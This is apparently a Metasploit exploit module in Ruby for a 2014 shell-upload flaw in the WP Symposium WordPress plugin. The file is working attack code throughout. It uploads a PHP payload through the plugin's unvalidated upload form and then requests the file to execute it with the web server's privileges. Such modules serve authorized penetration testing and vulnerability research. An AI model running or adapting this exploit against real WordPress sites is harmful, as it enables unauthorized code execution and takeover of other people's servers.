98 lines
3.5 KiB
Ruby
98 lines
3.5 KiB
Ruby
##
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# This module requires Metasploit: http://www.metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::FileDropper
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include Msf::Exploit::Remote::HTTP::Wordpress
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def initialize(info = {})
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super(update_info(
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info,
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'Name' => 'WordPress WP Symposium 14.11 Shell Upload',
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'Description' => %q{
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WP Symposium Plugin for WordPress contains a flaw that allows a remote attacker
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to execute arbitrary PHP code. This flaw exists because the
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/wp-symposium/server/file_upload_form.php script does not properly verify or
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sanitize user-uploaded files. By uploading a .php file, the remote system will
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place the file in a user-accessible path. Making a direct request to the
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uploaded file will allow the attacker to execute the script with the privileges
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of the web server.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Claudio Viviani', # Vulnerability disclosure
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'Rob Carr <rob[at]rastating.com>' # Metasploit module
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],
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'References' =>
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[
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['OSVDB', '116046'],
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['WPVDB', '7716']
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],
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'DisclosureDate' => 'Dec 11 2014',
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [['wp-symposium < 14.12', {}]],
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'DefaultTarget' => 0
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))
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end
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def check
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check_plugin_version_from_readme('wp-symposium', '14.12')
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end
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def generate_mime_message(payload, payload_name, directory_name, symposium_url)
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data = Rex::MIME::Message.new
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data.add_part('1', nil, nil, 'form-data; name="uploader_uid"')
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data.add_part("./#{directory_name}/", nil, nil, 'form-data; name="uploader_dir"')
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data.add_part(symposium_url, nil, nil, 'form-data; name="uploader_url"')
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data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"files[]\"; filename=\"#{payload_name}\"")
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data
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end
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def exploit
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print_status("Preparing payload")
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unique_name = Rex::Text.rand_text_alpha(10)
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payload_name = "#{unique_name}.php"
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symposium_url = normalize_uri(wordpress_url_plugins, 'wp-symposium', 'server', 'php')
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payload_url = normalize_uri(symposium_url, unique_name, payload_name)
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data = generate_mime_message(payload, payload_name, unique_name, symposium_url)
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symposium_url = normalize_uri(symposium_url, 'index.php')
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print_status("Uploading payload to #{payload_url}")
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => symposium_url,
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => data.to_s
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)
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if res && res.code == 200 && res.body.length > 0 && !res.body.include?('error') && res.body != '0'
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print_good("Uploaded the payload")
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register_files_for_cleanup(payload_name)
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print_status("Executing the payload...")
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send_request_cgi(
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{
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'uri' => payload_url,
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'method' => 'GET'
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}, 5)
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print_good("Executed payload")
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else
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if res.nil?
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fail_with(Failure::Unreachable, "No response from the target")
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else
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vprint_error("HTTP Status: #{res.code}")
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vprint_error("Server returned: #{res.body}")
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fail_with(Failure::UnexpectedReply, "Failed to upload the payload")
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end
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end
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end
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end
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